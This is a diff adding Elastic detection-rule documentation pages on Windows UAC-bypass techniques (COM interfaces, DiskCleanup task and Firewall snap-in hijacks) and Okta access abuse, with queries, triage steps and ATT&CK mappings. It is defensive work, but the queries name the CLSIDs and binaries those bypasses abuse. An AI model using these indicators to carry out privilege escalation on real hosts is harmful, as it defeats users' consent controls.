IEditionUpgradeManager Elevated COM Interface* + + +User Account Control (UAC) is a security feature in Windows designed to prevent unauthorized changes by prompting for elevated permissions. The IEditionUpgradeManager COM interface can be exploited by attackers to bypass UAC, allowing them to execute code with elevated privileges without user consent. This detection rule identifies such attempts by monitoring for the execution of the ClipUp program from non-standard paths, initiated by a specific COM interface, indicating potential misuse for privilege escalation. + + +*Possible investigation steps* + + +- Review the process execution details to confirm the presence of ClipUp.exe running from a non-standard path, as indicated by the process.executable field not matching "C:\Windows\System32\ClipUp.exe". +- Investigate the parent process, dllhost.exe, to determine if it was legitimately initiated or if it shows signs of compromise, focusing on the process.parent.args field to verify the use of the specific COM interface CLSID: /Processid:{BD54C901-076B-434E-B6C7-17C531F4AB41}. +- Check the user account context under which ClipUp.exe was executed to assess if it aligns with expected user behavior or if it suggests unauthorized access. +- Correlate this event with other security logs and alerts from data sources like Elastic Endgame, Elastic Defend, Sysmon, Microsoft Defender XDR, or SentinelOne to identify any related suspicious activities or patterns. +- Examine recent changes or anomalies in system configurations or installed software that might indicate preparation for or execution of a UAC bypass attempt. +- If available, review network activity logs for any unusual outbound connections or data exfiltration attempts following the execution of ClipUp.exe. + + +*False positive analysis* + + +- Legitimate software updates or installations may trigger the rule if they temporarily use non-standard paths for ClipUp.exe. Verify the source and purpose of the process to determine if it is part of a legitimate update or installation. +- Custom scripts or administrative tools that utilize ClipUp.exe from non-standard paths for legitimate purposes can cause false positives. Review the script or tool usage and consider excluding these specific paths if they are verified as safe. +- Software testing environments where ClipUp.exe is executed from non-standard paths for testing purposes may trigger the rule. Implement exclusions for known testing environments to prevent unnecessary alerts. +- Automated deployment tools that use ClipUp.exe from non-standard paths as part of their deployment process can be mistaken for malicious activity. Confirm the deployment tool's behavior and add exceptions for its known operations. +- In environments where multiple users have administrative privileges, legitimate administrative actions might inadvertently match the rule's criteria. Regularly audit administrative actions and consider excluding known benign activities. + + +*Response and remediation* + + +- Immediately isolate the affected system from the network to prevent further unauthorized access or lateral movement. +- Terminate the ClipUp.exe process if it is running from a non-standard path to stop any ongoing malicious activity. +- Conduct a thorough review of the system's recent activity logs to identify any additional unauthorized changes or suspicious behavior. +- Restore any altered system files or configurations to their original state using known good backups or system restore points. +- Update and patch the operating system and all installed software to the latest versions to mitigate known vulnerabilities. +- Implement application whitelisting to prevent unauthorized programs from executing, focusing on blocking non-standard paths for critical system executables. +- Escalate the incident to the security operations center (SOC) or incident response team for further investigation and to assess the potential impact on other systems within the network. + +==== Rule query + + +[source, js] +---------------------------------- +process where host.os.type == "windows" and event.type == "start" and process.name : "Clipup.exe" and + not process.executable : "C:\\Windows\\System32\\ClipUp.exe" and process.parent.name : "dllhost.exe" and + /* CLSID of the Elevated COM Interface IEditionUpgradeManager */ + process.parent.args : "/Processid:{BD54C901-076B-434E-B6C7-17C531F4AB41}" + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Privilege Escalation +** ID: TA0004 +** Reference URL: https://attack.mitre.org/tactics/TA0004/ +* Technique: +** Name: Abuse Elevation Control Mechanism +** ID: T1548 +** Reference URL: https://attack.mitre.org/techniques/T1548/ +* Sub-technique: +** Name: Bypass User Account Control +** ID: T1548.002 +** Reference URL: https://attack.mitre.org/techniques/T1548/002/ +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Abuse Elevation Control Mechanism +** ID: T1548 +** Reference URL: https://attack.mitre.org/techniques/T1548/ +* Sub-technique: +** Name: Bypass User Account Control +** ID: T1548.002 +** Reference URL: https://attack.mitre.org/techniques/T1548/002/ +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: Inter-Process Communication +** ID: T1559 +** Reference URL: https://attack.mitre.org/techniques/T1559/ +* Sub-technique: +** Name: Component Object Model +** ID: T1559.001 +** Reference URL: https://attack.mitre.org/techniques/T1559/001/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-uac-bypass-via-diskcleanup-scheduled-task-hijack.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-uac-bypass-via-diskcleanup-scheduled-task-hijack.asciidoc new file mode 100644 index 0000000000..255c780ffb --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-uac-bypass-via-diskcleanup-scheduled-task-hijack.asciidoc @@ -0,0 +1,165 @@ +[[prebuilt-rule-8-19-21-uac-bypass-via-diskcleanup-scheduled-task-hijack]] +=== UAC Bypass via DiskCleanup Scheduled Task Hijack + +Identifies User Account Control (UAC) bypass via hijacking DiskCleanup Scheduled Task. Attackers bypass UAC to stealthily execute code with elevated permissions. + +*Rule type*: eql + +*Rule indices*: + +* endgame-* +* logs-crowdstrike.fdr* +* logs-endpoint.events.process-* +* logs-m365_defender.event-* +* logs-sentinel_one_cloud_funnel.* +* logs-system.security* +* logs-windows.forwarded* +* logs-windows.sysmon_operational-* +* winlogbeat-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: None + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Privilege Escalation +* Tactic: Defense Evasion +* Tactic: Execution +* Data Source: Elastic Endgame +* Data Source: Elastic Defend +* Data Source: Windows Security Event Logs +* Data Source: Microsoft Defender XDR +* Data Source: Sysmon +* Data Source: SentinelOne +* Data Source: Crowdstrike +* Resources: Investigation Guide + +*Version*: 317 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating UAC Bypass via DiskCleanup Scheduled Task Hijack* + + +User Account Control (UAC) is a security feature in Windows that helps prevent unauthorized changes. Adversaries may exploit the DiskCleanup Scheduled Task to bypass UAC, executing code with elevated privileges. The detection rule identifies suspicious processes using specific arguments and executables not matching known safe paths, flagging potential UAC bypass attempts for further investigation. + + +*Possible investigation steps* + + +- Review the process details to confirm the presence of suspicious arguments "/autoclean" and "/d" in the process execution. +- Verify the executable path of the process to ensure it does not match known safe paths such as "C:\Windows\System32\cleanmgr.exe" or "C:\Windows\SysWOW64\cleanmgr.exe". +- Investigate the parent process to determine how the suspicious process was initiated and assess if it was triggered by a legitimate application or script. +- Check the user account under which the process was executed to identify if it aligns with expected user behavior or if it indicates potential compromise. +- Analyze recent system changes or scheduled tasks to identify any unauthorized modifications that could facilitate UAC bypass. +- Correlate the event with other security alerts or logs from data sources like Microsoft Defender XDR or Sysmon to gather additional context on the activity. +- Assess the risk and impact of the event by considering the severity and risk score, and determine if further containment or remediation actions are necessary. + + +*False positive analysis* + + +- Legitimate system maintenance tools or scripts may trigger the rule if they use similar arguments and executables not listed in the safe paths. Review the process origin and context to determine if it is part of routine maintenance. +- Custom administrative scripts that automate disk cleanup tasks might be flagged. Verify the script's source and purpose, and consider adding it to an exception list if it is deemed safe. +- Software updates or installations that temporarily use disk cleanup functionalities could be misidentified. Monitor the timing and context of these events, and exclude known update processes from the rule. +- Third-party disk management tools that mimic or extend Windows disk cleanup features may cause alerts. Validate the tool's legitimacy and add it to the exclusion list if it is a trusted application. +- Scheduled tasks created by IT departments for system optimization might match the rule's criteria. Confirm the task's legitimacy and adjust the rule to exclude these specific tasks if they are verified as non-threatening. + + +*Response and remediation* + + +- Immediately isolate the affected system from the network to prevent further unauthorized access or lateral movement by the adversary. +- Terminate any suspicious processes identified by the detection rule that are not using the legitimate DiskCleanup executables. +- Conduct a thorough review of scheduled tasks on the affected system to identify and remove any unauthorized or malicious tasks that may have been created or modified. +- Restore any altered system files or configurations to their original state using known good backups or system restore points. +- Update and patch the affected system to the latest security updates to mitigate any known vulnerabilities that could be exploited for UAC bypass. +- Monitor the affected system and network for any signs of recurring unauthorized activity or similar UAC bypass attempts. +- Escalate the incident to the security operations center (SOC) or incident response team for further analysis and to determine if additional systems are affected. + +==== Rule query + + +[source, js] +---------------------------------- +process where host.os.type == "windows" and event.type == "start" and + process.args : "/autoclean" and process.args : "/d" and process.executable != null and + not process.executable : ( + "C:\\Windows\\System32\\cleanmgr.exe", + "C:\\Windows\\SysWOW64\\cleanmgr.exe", + "C:\\Windows\\System32\\taskhostw.exe", + + /* Crowdstrike specific exclusion as it uses NT Object paths */ + "\\Device\\HarddiskVolume*\\Windows\\System32\\cleanmgr.exe", + "\\Device\\HarddiskVolume*\\Windows\\SysWOW64\\cleanmgr.exe", + "\\Device\\HarddiskVolume*\\Windows\\System32\\taskhostw.exe" +) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Privilege Escalation +** ID: TA0004 +** Reference URL: https://attack.mitre.org/tactics/TA0004/ +* Technique: +** Name: Abuse Elevation Control Mechanism +** ID: T1548 +** Reference URL: https://attack.mitre.org/techniques/T1548/ +* Sub-technique: +** Name: Bypass User Account Control +** ID: T1548.002 +** Reference URL: https://attack.mitre.org/techniques/T1548/002/ +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Abuse Elevation Control Mechanism +** ID: T1548 +** Reference URL: https://attack.mitre.org/techniques/T1548/ +* Sub-technique: +** Name: Bypass User Account Control +** ID: T1548.002 +** Reference URL: https://attack.mitre.org/techniques/T1548/002/ +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: Scheduled Task/Job +** ID: T1053 +** Reference URL: https://attack.mitre.org/techniques/T1053/ +* Sub-technique: +** Name: Scheduled Task +** ID: T1053.005 +** Reference URL: https://attack.mitre.org/techniques/T1053/005/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-uac-bypass-via-icmluautil-elevated-com-interface.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-uac-bypass-via-icmluautil-elevated-com-interface.asciidoc new file mode 100644 index 0000000000..80b0c433d9 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-uac-bypass-via-icmluautil-elevated-com-interface.asciidoc @@ -0,0 +1,149 @@ +[[prebuilt-rule-8-19-21-uac-bypass-via-icmluautil-elevated-com-interface]] +=== UAC Bypass via ICMLuaUtil Elevated COM Interface + +Identifies User Account Control (UAC) bypass attempts via the ICMLuaUtil Elevated COM interface. Attackers may attempt to bypass UAC to stealthily execute code with elevated permissions. + +*Rule type*: eql + +*Rule indices*: + +* winlogbeat-* +* logs-endpoint.events.process-* +* logs-windows.sysmon_operational-* +* endgame-* +* logs-m365_defender.event-* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: None + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Privilege Escalation +* Tactic: Defense Evasion +* Tactic: Execution +* Data Source: Elastic Endgame +* Data Source: Elastic Defend +* Data Source: Sysmon +* Data Source: Microsoft Defender XDR +* Resources: Investigation Guide + +*Version*: 214 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating UAC Bypass via ICMLuaUtil Elevated COM Interface* + + +The ICMLuaUtil Elevated COM Interface is a Windows component that facilitates User Account Control (UAC) operations, allowing certain processes to execute with elevated privileges. Adversaries exploit this by invoking the interface to bypass UAC, executing malicious code stealthily. The detection rule identifies such attempts by monitoring processes initiated by `dllhost.exe` with specific arguments, excluding legitimate processes like `WerFault.exe`, thus flagging potential privilege escalation activities. + + +*Possible investigation steps* + + +- Review the process tree to identify the parent and child processes of the flagged `dllhost.exe` instance to understand the context of its execution. +- Examine the command-line arguments of the `dllhost.exe` process to confirm the presence of the suspicious `/Processid:{3E5FC7F9-9A51-4367-9063-A120244FBEC7}` or `/Processid:{D2E7041B-2927-42FB-8E9F-7CE93B6DC937}` arguments. +- Check for any recent changes or installations on the system that might have introduced the suspicious behavior, focusing on software that might interact with UAC settings. +- Investigate the user account under which the `dllhost.exe` process was executed to determine if it has been compromised or if it has elevated privileges. +- Correlate the event with other security logs or alerts from data sources like Sysmon or Microsoft Defender XDR to identify any related suspicious activities or patterns. +- Assess the network activity of the affected system around the time of the alert to detect any potential data exfiltration or communication with known malicious IP addresses. + + +*False positive analysis* + + +- Legitimate software updates or installations may trigger the rule if they use the ICMLuaUtil Elevated COM Interface for necessary elevation. Users can monitor the specific software involved and create exceptions for trusted applications. +- System maintenance tasks initiated by IT administrators might use similar processes for legitimate purposes. Identifying these tasks and excluding them from the rule can reduce false positives. +- Certain enterprise applications may require elevated privileges and use the same COM interface. Regularly review and whitelist these applications to prevent unnecessary alerts. +- Automated scripts or tools used for system management that invoke the interface should be evaluated. If deemed safe, they can be added to an exclusion list to avoid repeated false positives. +- Regularly update the list of excluded processes to reflect changes in the organization's software environment, ensuring that only non-threatening behaviors are excluded. + + +*Response and remediation* + + +- Immediately isolate the affected system from the network to prevent further malicious activity and lateral movement. +- Terminate any suspicious processes initiated by `dllhost.exe` with the specified arguments to stop the execution of potentially malicious code. +- Conduct a thorough review of the affected system to identify any unauthorized changes or additional malicious files, and remove them. +- Restore the system from a known good backup if any critical system files or configurations have been altered. +- Update and patch the operating system and all installed software to mitigate any known vulnerabilities that could be exploited for UAC bypass. +- Implement application whitelisting to prevent unauthorized applications from executing, focusing on blocking the execution of `dllhost.exe` with suspicious arguments. +- Escalate the incident to the security operations center (SOC) or incident response team for further investigation and to assess the potential impact on the broader network. + +==== Rule query + + +[source, js] +---------------------------------- +process where host.os.type == "windows" and event.type == "start" and + process.parent.name == "dllhost.exe" and + process.parent.args in ("/Processid:{3E5FC7F9-9A51-4367-9063-A120244FBEC7}", "/Processid:{D2E7041B-2927-42FB-8E9F-7CE93B6DC937}") and + process.pe.original_file_name != "WerFault.exe" + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Privilege Escalation +** ID: TA0004 +** Reference URL: https://attack.mitre.org/tactics/TA0004/ +* Technique: +** Name: Abuse Elevation Control Mechanism +** ID: T1548 +** Reference URL: https://attack.mitre.org/techniques/T1548/ +* Sub-technique: +** Name: Bypass User Account Control +** ID: T1548.002 +** Reference URL: https://attack.mitre.org/techniques/T1548/002/ +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Abuse Elevation Control Mechanism +** ID: T1548 +** Reference URL: https://attack.mitre.org/techniques/T1548/ +* Sub-technique: +** Name: Bypass User Account Control +** ID: T1548.002 +** Reference URL: https://attack.mitre.org/techniques/T1548/002/ +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: Inter-Process Communication +** ID: T1559 +** Reference URL: https://attack.mitre.org/techniques/T1559/ +* Sub-technique: +** Name: Component Object Model +** ID: T1559.001 +** Reference URL: https://attack.mitre.org/techniques/T1559/001/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-uac-bypass-via-windows-firewall-snap-in-hijack.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-uac-bypass-via-windows-firewall-snap-in-hijack.asciidoc new file mode 100644 index 0000000000..2e4389a4a7 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-uac-bypass-via-windows-firewall-snap-in-hijack.asciidoc @@ -0,0 +1,159 @@ +[[prebuilt-rule-8-19-21-uac-bypass-via-windows-firewall-snap-in-hijack]] +=== UAC Bypass via Windows Firewall Snap-In Hijack + +Identifies attempts to bypass User Account Control (UAC) by hijacking the Microsoft Management Console (MMC) Windows Firewall snap-in. Attackers bypass UAC to stealthily execute code with elevated permissions. + +*Rule type*: eql + +*Rule indices*: + +* winlogbeat-* +* logs-endpoint.events.process-* +* logs-windows.sysmon_operational-* +* endgame-* +* logs-m365_defender.event-* +* logs-sentinel_one_cloud_funnel.* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://github.com/AzAgarampur/byeintegrity-uac + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Privilege Escalation +* Tactic: Defense Evasion +* Resources: Investigation Guide +* Data Source: Elastic Endgame +* Data Source: Elastic Defend +* Data Source: Sysmon +* Data Source: Microsoft Defender XDR +* Data Source: SentinelOne + +*Version*: 317 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating UAC Bypass via Windows Firewall Snap-In Hijack* + + +Windows User Account Control (UAC) allows a program to elevate its privileges (tracked as low to high integrity levels) to perform a task under administrator-level permissions, possibly by prompting the user for confirmation. UAC can deny an operation under high-integrity enforcement, or allow the user to perform the action if they are in the local administrators group and enter an administrator password when prompted. + +For more information about the UAC and how it works, check the https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/how-user-account-control-works[official Microsoft docs page]. + +This rule identifies attempts to bypass User Account Control (UAC) by hijacking the Microsoft Management Console (MMC) Windows Firewall snap-in. Attackers bypass UAC to stealthily execute code with elevated permissions. + +> **Note**: +> This investigation guide uses the https://www.elastic.co/guide/en/security/current/invest-guide-run-osquery.html[Osquery Markdown Plugin] introduced in Elastic Stack version 8.5.0. Older Elastic Stack versions will display unrendered Markdown in this guide. + + +*Possible investigation steps* + + +- Investigate the process execution chain (parent process tree) for unknown processes. Examine their executable files for prevalence, whether they are located in expected locations, and if they are signed with valid digital signatures. +- Investigate other alerts associated with the user/host during the past 48 hours. +- Inspect the host for suspicious or abnormal behavior in the alert timeframe. +- Investigate any abnormal behavior by the subject process such as network connections, registry or file modifications, and any spawned child processes. +- Examine the host for derived artifacts that indicate suspicious activities: + - Analyze any suspicious spawned processes using a private sandboxed analysis system. + - Observe and collect information about the following activities in both the sandbox and the alert subject host: + - Attempts to contact external domains and addresses. + - Use the Elastic Defend network events to determine domains and addresses contacted by the subject process by filtering by the process' `process.entity_id`. + - Examine the DNS cache for suspicious or anomalous entries. + - !{osquery{"label":"Osquery - Retrieve DNS Cache","query":"SELECT * FROM dns_cache"}} + - Use the Elastic Defend registry events to examine registry keys accessed, modified, or created by the related processes in the process tree. + - Examine the host services for suspicious or anomalous entries. + - !{osquery{"label":"Osquery - Retrieve All Services","query":"SELECT description, display_name, name, path, pid, service_type, start_type, status, user_account FROM services"}} + - !{osquery{"label":"Osquery - Retrieve Services Running on User Accounts","query":"SELECT description, display_name, name, path, pid, service_type, start_type, status, user_account FROM services WHERE\nNOT (user_account LIKE '%LocalSystem' OR user_account LIKE '%LocalService' OR user_account LIKE '%NetworkService' OR\nuser_account == null)\n"}} + - !{osquery{"label":"Osquery - Retrieve Service Unsigned Executables with Virustotal Link","query":"SELECT concat('https://www.virustotal.com/gui/file/', sha1) AS VtLink, name, description, start_type, status, pid,\nservices.path FROM services JOIN authenticode ON services.path = authenticode.path OR services.module_path =\nauthenticode.path JOIN hash ON services.path = hash.path WHERE authenticode.result != 'trusted'\n"}} + - Retrieve the files' SHA-256 hash values using the PowerShell `Get-FileHash` cmdlet and search for the existence and reputation of the hashes in resources like VirusTotal, Hybrid-Analysis, CISCO Talos, Any.run, etc. +- Investigate potentially compromised accounts. Analysts can do this by searching for login events (for example, 4624) to the target host after the registry modification. + + +*False positive analysis* + + +- This activity is unlikely to happen legitimately. Benign true positives (B-TPs) can be added as exceptions if necessary. + + +*Response and remediation* + + +- Initiate the incident response process based on the outcome of the triage. +- Isolate the involved host to prevent further post-compromise behavior. +- If the triage identified malware, search the environment for additional compromised hosts. + - Implement temporary network rules, procedures, and segmentation to contain the malware. + - Stop suspicious processes. + - Immediately block the identified indicators of compromise (IoCs). + - Inspect the affected systems for additional malware backdoors like reverse shells, reverse proxies, or droppers that attackers could use to reinfect the system. +- Remove and block malicious artifacts identified during triage. +- Run a full antimalware scan. This may reveal additional artifacts left in the system, persistence mechanisms, and malware components. +- Investigate credential exposure on systems compromised or used by the attacker to ensure all compromised accounts are identified. Reset passwords for these accounts and other potentially compromised credentials, such as email, business systems, and web services. +- Determine the initial vector abused by the attacker and take action to prevent reinfection through the same vector. +- Using the incident response data, update logging and audit policies to improve the mean time to detect (MTTD) and the mean time to respond (MTTR). + + +==== Rule query + + +[source, js] +---------------------------------- +process where host.os.type == "windows" and event.type == "start" and + process.parent.name == "mmc.exe" and + /* process.Ext.token.integrity_level_name == "high" can be added in future for tuning */ + /* args of the Windows Firewall SnapIn */ + process.parent.args == "WF.msc" and process.name != "WerFault.exe" + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Privilege Escalation +** ID: TA0004 +** Reference URL: https://attack.mitre.org/tactics/TA0004/ +* Technique: +** Name: Abuse Elevation Control Mechanism +** ID: T1548 +** Reference URL: https://attack.mitre.org/techniques/T1548/ +* Sub-technique: +** Name: Bypass User Account Control +** ID: T1548.002 +** Reference URL: https://attack.mitre.org/techniques/T1548/002/ +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: System Binary Proxy Execution +** ID: T1218 +** Reference URL: https://attack.mitre.org/techniques/T1218/ +* Sub-technique: +** Name: MMC +** ID: T1218.014 +** Reference URL: https://attack.mitre.org/techniques/T1218/014/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-unauthorized-access-to-an-okta-application.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-unauthorized-access-to-an-okta-application.asciidoc new file mode 100644 index 0000000000..834e92b551 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-unauthorized-access-to-an-okta-application.asciidoc @@ -0,0 +1,132 @@ +[[prebuilt-rule-8-19-21-unauthorized-access-to-an-okta-application]] +=== Unauthorized Access to an Okta Application + +Identifies unauthorized access attempts to Okta applications. + +*Rule type*: query + +*Rule indices*: + +* filebeat-* +* logs-okta* + +*Severity*: low + +*Risk score*: 21 + +*Runs every*: 5m + +*Searches indices from*: None ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://developer.okta.com/docs/reference/api/system-log/ +* https://developer.okta.com/docs/reference/api/event-types/ +* https://www.elastic.co/security-labs/testing-okta-visibility-and-detection-dorothy +* https://www.elastic.co/security-labs/monitoring-okta-threats-with-elastic-security +* https://www.elastic.co/security-labs/starter-guide-to-understanding-okta + +*Tags*: + +* Tactic: Initial Access +* Use Case: Identity and Access Audit +* Data Source: Okta +* Resources: Investigation Guide + +*Version*: 415 + +*Rule authors*: + +* Elastic +* Austin Songer + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Unauthorized Access to an Okta Application* + + +Okta is a widely used identity management service that facilitates secure user authentication and access to applications. Adversaries may exploit valid credentials to gain unauthorized access, bypassing security controls. The detection rule monitors specific Okta system events for unauthorized access attempts, leveraging event datasets and actions to identify potential breaches, thus aiding in early threat detection and response. + + +*Possible investigation steps* + + +- Review the event logs for entries with event.dataset:okta.system and event.action:app.generic.unauth_app_access_attempt to identify the specific unauthorized access attempts. +- Identify the user accounts involved in the unauthorized access attempts and check for any unusual activity or patterns associated with these accounts. +- Investigate the source IP addresses associated with the unauthorized access attempts to determine if they are known or suspicious, and check for any geolocation anomalies. +- Examine the timestamps of the unauthorized access attempts to see if they coincide with any other suspicious activities or known incidents. +- Check for any recent changes in user permissions or configurations in the Okta system that might have facilitated the unauthorized access attempts. +- Contact the affected users to verify if they were aware of the access attempts and to ensure their credentials have not been compromised. + + +*False positive analysis* + + +- Employees accessing applications from new devices or locations may trigger alerts. Regularly update the list of known devices and locations to minimize these false positives. +- Automated scripts or tools used for application testing might mimic unauthorized access attempts. Identify and whitelist these scripts to prevent unnecessary alerts. +- Users with multiple accounts accessing the same application can be mistaken for unauthorized access. Maintain an updated list of legitimate multi-account users to reduce false positives. +- Changes in user roles or permissions might lead to temporary access issues. Coordinate with HR or IT departments to ensure role changes are reflected promptly in the system. +- Scheduled maintenance or updates to applications can generate access attempts that appear unauthorized. Exclude these events by aligning detection rules with maintenance schedules. + + +*Response and remediation* + + +- Immediately isolate the affected user account by disabling it to prevent further unauthorized access. +- Review and reset the credentials for the compromised account, ensuring the new password adheres to strong security policies. +- Conduct a thorough audit of recent activities associated with the compromised account to identify any unauthorized changes or data access. +- Notify the affected user and relevant stakeholders about the incident, providing guidance on recognizing phishing attempts and securing their accounts. +- Escalate the incident to the security operations team for further investigation and to determine if additional accounts or systems have been compromised. +- Implement multi-factor authentication (MFA) for the affected account and any other accounts that do not currently have it enabled to enhance security. +- Update and refine monitoring rules to detect similar unauthorized access attempts in the future, ensuring quick identification and response. + +==== Setup + + +The Okta Fleet integration, Filebeat module, or similarly structured data is required to be compatible with this rule. + +==== Rule query + + +[source, js] +---------------------------------- +data_stream.dataset:okta.system and event.action:app.generic.unauth_app_access_attempt + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Initial Access +** ID: TA0001 +** Reference URL: https://attack.mitre.org/tactics/TA0001/ +* Technique: +** Name: Valid Accounts +** ID: T1078 +** Reference URL: https://attack.mitre.org/techniques/T1078/ +* Sub-technique: +** Name: Cloud Accounts +** ID: T1078.004 +** Reference URL: https://attack.mitre.org/techniques/T1078/004/ +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Tactic: +** Name: Privilege Escalation +** ID: TA0004 +** Reference URL: https://attack.mitre.org/tactics/TA0004/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-unauthorized-scope-for-public-app-oauth2-token-grant-with-client-credentials.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-unauthorized-scope-for-public-app-oauth2-token-grant-with-client-credentials.asciidoc new file mode 100644 index 0000000000..4a1cdf43b4 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-unauthorized-scope-for-public-app-oauth2-token-grant-with-client-credentials.asciidoc @@ -0,0 +1,134 @@ +[[prebuilt-rule-8-19-21-unauthorized-scope-for-public-app-oauth2-token-grant-with-client-credentials]] +=== Unauthorized Scope for Public App OAuth2 Token Grant with Client Credentials + +Identifies a failed OAuth 2.0 token grant attempt for a public client app using client credentials. This event is generated when a public client app attempts to exchange a client credentials grant for an OAuth 2.0 access token, but the request is denied due to the lack of required scopes. This could indicate compromised client credentials in which an adversary is attempting to obtain an access token for unauthorized scopes. This is a [New Terms](https://www.elastic.co/guide/en/security/current/rules-ui-create.html#create-new-terms-rule) rule where the `okta.actor.display_name` field value has not been seen in the last 14 days regarding this event. + +*Rule type*: new_terms + +*Rule indices*: + +* filebeat-* +* logs-okta* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://github.blog/news-insights/company-news/security-alert-stolen-oauth-user-tokens/ +* https://developer.okta.com/docs/reference/api/event-types/ +* https://www.elastic.co/security-labs/monitoring-okta-threats-with-elastic-security +* https://www.elastic.co/security-labs/starter-guide-to-understanding-okta + +*Tags*: + +* Domain: SaaS +* Data Source: Okta +* Use Case: Threat Detection +* Use Case: Identity and Access Audit +* Tactic: Defense Evasion +* Resources: Investigation Guide + +*Version*: 210 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Unauthorized Scope for Public App OAuth2 Token Grant with Client Credentials* + + +OAuth 2.0 is a protocol for authorization, allowing apps to access resources on behalf of users. Public client apps, lacking secure storage, use client credentials for token grants. Adversaries may exploit compromised credentials to request unauthorized scopes. The detection rule identifies failed token grants due to scope mismatches, signaling potential misuse of client credentials. + + +*Possible investigation steps* + + +- Review the `okta.actor.display_name` field to identify the public client app involved in the failed token grant attempt and determine if it is a known or expected application. +- Examine the `okta.debug_context.debug_data.flattened.requestedScopes` field to understand which unauthorized scopes were requested and assess their potential impact if accessed. +- Investigate the `okta.actor.type` field to confirm that the actor is indeed a public client app, which lacks secure storage, 